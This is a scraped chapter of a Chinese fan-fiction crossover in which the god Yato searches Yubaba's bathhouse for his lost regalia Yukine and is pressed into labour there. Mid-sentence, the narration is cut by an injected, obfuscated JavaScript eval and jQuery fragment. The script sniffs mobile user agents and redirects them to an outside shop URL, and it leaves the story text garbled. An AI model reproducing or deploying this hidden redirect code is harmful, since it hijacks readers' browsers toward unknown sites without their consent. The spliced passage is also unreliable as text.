文趣网 > 其他小说 > 综漫:帝光经理的非正常日常 > 65. 等待进入网审
    “神隐”世界,多是藏在人类世界和里世界的夹缝之中,是各路神明和大妖怪的游乐场。

    油屋,隐世界之一,魔女汤婆婆执掌的温泉旅馆,也是神隐世界能容纳各路神明的休憩之地之一。

    这里万物有灵,石灯笼会呼吸,纸灯笼藏着引路的灵火,河川里游着化形的水神,街角的石像会在深夜低语,连风中都缠绕着淡淡的灵力,每一寸土地都透着梦幻而诡秘的气息。

    油屋明面上一片和谐,看似歌舞升平、神明齐聚,神明们洗去俗世污秽、滋养神格的澡堂,内里却是等级森严到令人窒息的修罗职场。实际上的它远比外界看上去更凶险。

    汤婆婆的侍女们穿着统一的和服,步履匆匆不敢有半分懈怠;杂役们需时刻警惕,稍有不慎,要么被后厨的大妖怪当成点心吃掉,要么被脾气暴躁的神明迁怒斩杀;化形的小妖怪们,都要恪守规矩,否则便会被汤婆婆的魔法变成无生命的器物或者猪,永远困在油屋之中。

    此时正值黄昏,正门前的青石桥上,两只身着短褂、头戴布巾的青蛙杂役,正躬身费力拖拽着一只沉重巨大的柳条箱,铜铃挂在脖颈间,随动作发出细碎叮当声响,打破了黄昏的静谧。

    四周无人,二者便压低嗓音,窃窃私语,眼底藏不住源自底层小妖的贪婪与惶恐。

    “听说了吗?这次灵力潮汐卷来了好多小妖怪还有好东西。”一只青蛙压低声音,绿豆眼里满是贪婪,“后厨的河伯大人昨天吃了个迷途的妖狐,据说补得虚弱的神格都亮了一圈。”

    “嘘!小声点!”另一只青蛙紧张地左右张望,脖子上挂着的铜铃叮当作响,“汤婆婆大人最讨厌闲话。不过……听说这次还卷来了一个很特别的‘器’……怎么会有这么笨的神明连自己的神器都弄丢了……”

    夜斗站在雪音消失的地方,灵力潮汐退去后空气中还残留着淡紫色的静电,然后重回平静,像是什么都没有发生一样。

    “雪音——!”

    他喊了一声。声音不大,被风一吹就散了,显得有些底气不足。

    没有回应。

    这里本该是雪音消失的地方。那个金发少年的身影,就在这里,被那场诡异的灵力潮汐像吞掉一颗糖果一样,一口吞了下去。

    夜斗的心脏开始不受控制地狂跳。

    “该死……该死!”

    他烦躁地抓了抓头发,手指插入发间,用力地揪扯着头皮,试图用疼痛让自己保持清醒。不行,不能慌。雪音那家伙也不知道被冲到了哪个角落,这种联系断了的感觉是怎么回事?

    作为神器与神明之间特有的感应和牵绊,此刻正传来一种极其细微、却令人心悸的刺痛感。那是雪音灵魂波动留下的残响,微弱得像风中丝线,随时可能断掉。

    “雪音!听得见就吱一声啊!臭小鬼!”

    夜斗开始在周围乱窜。完全顾不上形象,就像是找不到孩子的可怜父亲。每翻开一块石头,每查看一个死角,失望就像冷水一样浇在头顶。

    “怎么会找不到……明明就是在这里的……”

    他的声音开始发抖,带着一种连他自己都没察觉到的哭腔。他想起了雪音失踪前的样子——那顶总是歪戴着的灰色针织帽,那双总是瞪得圆圆的橘色眼睛,还有那句刺耳的“废材神明”。

    “是我不好……我不该跟他吵架的……我不该偷他的钱的……”

    自责像潮水一样涌上来,淹没了他。他想起自己刚才在争吵时说的那些狠话,想起自己为了买那个破烂的“幸运招财石”而克扣了雪音辛苦打工赚来的钱。

    那个孩子当时有多难过?他是怎么一个人跑出来的?

    夜斗猛地停住脚步,跪倒在一片焦黑的地面上。他双手撑地,大口喘息着,汗水顺着下巴滴落,砸在尘土里。

    “冷静点……夜斗,你个废物,给我冷静点!”

    他用力拍打着自己的脸颊,直到脸颊发麻。他可是神明,是经历过千年战乱、手刃过无数妖魔的强者。怎么能被区区一次失踪给吓破胆?

    他闭上眼睛,强行压下胸腔里的恐慌,开始集中精神,调动起那微弱的神力,试图捕捉雪音残留的灵力轨迹。

    “显现吧……我的刀……”

    空气中浮现出几缕淡金色的丝线,那是雪音留下的痕迹。但这些丝线极其混乱,像是被人故意搅乱的毛线球,不仅断断续续,还夹杂着大量其他的气息,灵力潮汐留下的混沌。

    “这是……神隐世界的气息?”

    夜斗睁开眼,瞳孔骤缩。他顺着那些混乱的丝线看向远方,那里,在现实世界的夹缝之上,隐约浮现出一座巨大建筑的虚影,朱红的梁柱,金色的瓦片,缭绕的云雾。

    那是……油屋?

    “那个老太婆的地盘……”夜斗咬紧了牙关。

    他当然知道油屋是什么地方。

    那是魔女汤婆婆的领地,他听其他神明说过,神明的温泉会场,虽然他一个穷的连神社都没有的神明从来没去过。不过倒是听小福炫耀的提起过,说的时候咬牙切齿的。

    对其他小妖怪和不知名的神明来说,油屋可不是什么好地方,那是连低阶神明进去都可能被扒层皮的吃人魔窟。雪音一个刚刚化形的神器,进去简直就是羊入虎口。

    “不行……绝对不行……”

    他站起身,眼神里的慌乱逐渐被一种近乎疯狂的决绝所取代。那是父亲为了保护孩子时,野兽般的眼神。

    不管那里是什么龙潭虎穴,不管要付出什么代价。他必须把雪音带回来。

    “等着我,雪音。”

    夜斗低声呢喃了一句,下一秒,他化作一道黑色的流光,义无反顾地冲向了那座矗立在神隐世界入口的、巨大的温泉旅馆。

    “我来了。”

    刚踏入油屋的范围,他就被眼前的景象震慑住了。巨大的朱红建筑巍峨耸立,无数的妖怪、神明、侍女在其中穿梭。

    空气里混杂着浓郁的硫磺气息、醇厚的米酒浓香,还有无数神明妖怪的气息交织叠加、令人窒息的磅礴灵力压迫感,层层叠叠,压得人几乎无法呼吸。

    夜斗冲进大厅,不顾那些青蛙侍卫怪异的目光,径直冲到顶层的柜台前。

    “汤婆婆!把雪音还给我!”夜斗双手重重地拍在柜台上,震得旁边的墨水瓶都跳了起来。

    他双掌重重拍在精致的檀木柜台之上,力道十足,震得台面上摆放的墨水瓶、砚台、符纸尽数跳动震颤,发出清脆的碰撞声响。

    柜台深处,汤婆婆端坐于华丽座椅之上。

    她头戴繁复夸张的鎏金发饰,臃肿的身躯裹着织金绣玉的华贵和服,鹰钩鼻下一双三角眼锐利如寒刃,狭长的眸子微微眯起,带着居高临下的审视与轻蔑,细细打量着眼前这位风尘仆仆、满身穷酸的落魄神明。

    片刻后,她唇角勾起一抹刻薄又玩味的冷笑,尖锐刺耳的嗓音如

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17560421|203684||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    同金属摩擦,划破静谧的大堂。

    “哦?我当是哪位神明大驾光临,原来是三界鼎鼎大名的‘五元神明’。”

    她目光扫过夜斗一身廉价破旧的运动套装。毫无神光的微薄神格,轻蔑之意溢于言表:“瞧瞧你这副寒酸落魄的模样,无神社、无信众、无供奉,连一件像样的贡品、一丝精纯灵力都拿不出来。这般卑微,也配踏入我的油屋、向我要人?”

    被当众戳破最窘迫的处境,夜斗面色紧绷,指尖攥得发白,却依旧咬牙硬撑,不肯示弱:“我……我有钱!我可以付报酬!”

    连他自己都知晓,这句辩解苍白得连他自己都不相信。

    “钱?”汤婆婆轻笑一声,指尖萦绕着黑色的妖力,“那个叫雪音的小鬼,被潮汐进来的器,吃了我的东西,沾了我的地方,想就这么轻易离开可不容易。”

    说着,汤婆婆的眼神骤然变冷,讲述着不容置喙的霸道规则:“入我油屋,哪怕是神明也得守我的规矩。沾了我地界、用我这里的灵泽,从未有白吃白拿的道理。一个初出茅庐的小器,闯了我的地盘,哪有轻易脱身的资格?”

    夜斗脸色瞬间惨白,心脏骤然下沉。

    “既然你身为神器主人,亲自寻到了这里,那这笔债,便由你一块儿来抵。”

    汤婆婆自顾自敲定结局,语气强势霸道,替夜斗做下决定,没有半分商量余地:“从今日起,你便是我油屋的底层杂役。日日劳作、涤荡污秽、打理宅邸,何时还清你神器欠下的债务,我便准许你什么时候带走你的小鬼。”

    “好!我干!”夜斗心里一百个不情愿,可一想到被困在此处的雪音,只能咬着牙点头应下,心底却暗自盘算着往后如何脱身。

    自此,昔日浴血沙场、执掌灾厄的祸津武神,沦为了油屋最底层、最不起眼的杂役。接下来的日子,夜斗体验到了前所未有的艰辛。

    “喂!那个新来的废神!”

    一个穿着深蓝色和服的女侍叉着腰,指着一桶几乎比他还高的脏衣服,“把这些给洗了!还有,大浴场三号池的泥垢还没刮,赶紧去!要是偷懒,汤婆婆大人会把你变成煤灰的!”

    夜斗耷拉着脑袋慢吞吞干活,手上动作慢悠悠不肯卖力,一边搓着衣物一边暗自嘟囔,满肚子不情愿:“我可是武神……武神……,论本事斩妖除魔样样在行,哪是来做这种粗活的,真是大材小用。”

    嘴上满腹牢骚,手上却悄悄偷奸耍滑,能糊弄过去的绝不认真打理,趁着无人留意便偷偷歇脚摸鱼,半点没有踏实干活的心思。

    “武神?”旁边路过的一个巨大的、长着胡须的鲶鱼妖怪发出了一声嗤笑,他庞大的身躯占据了半个走廊,“我可是听说过你,夜斗。区区无名流浪神,连个像样的神社都没有,靠打工五日元过活。在我眼里,你连我这池子里的泥鳅都不如。”

    换做平日,夜斗定然会当即顶嘴反驳,凭着一张巧嘴胡搅蛮缠怼回去,可如今有把柄落在汤婆婆手中,为了雪音只能暂且忍气吞声。

    可他骨子里的无赖性子半点改不了,低头劳作之时,心里早已打好算盘。

    先暂且安分几日稳住众人目光,摸清油屋各处路径,寻到雪音下落之后,便找个由头溜之大吉,至于欠下的那些杂活债务,自然是能赖就赖,能躲就躲,向来是他这位五元神明最擅长的本事。

    隐忍不过是权宜之计,懒散耍滑、赖账摸鱼,才是夜斗刻在骨子里的本性。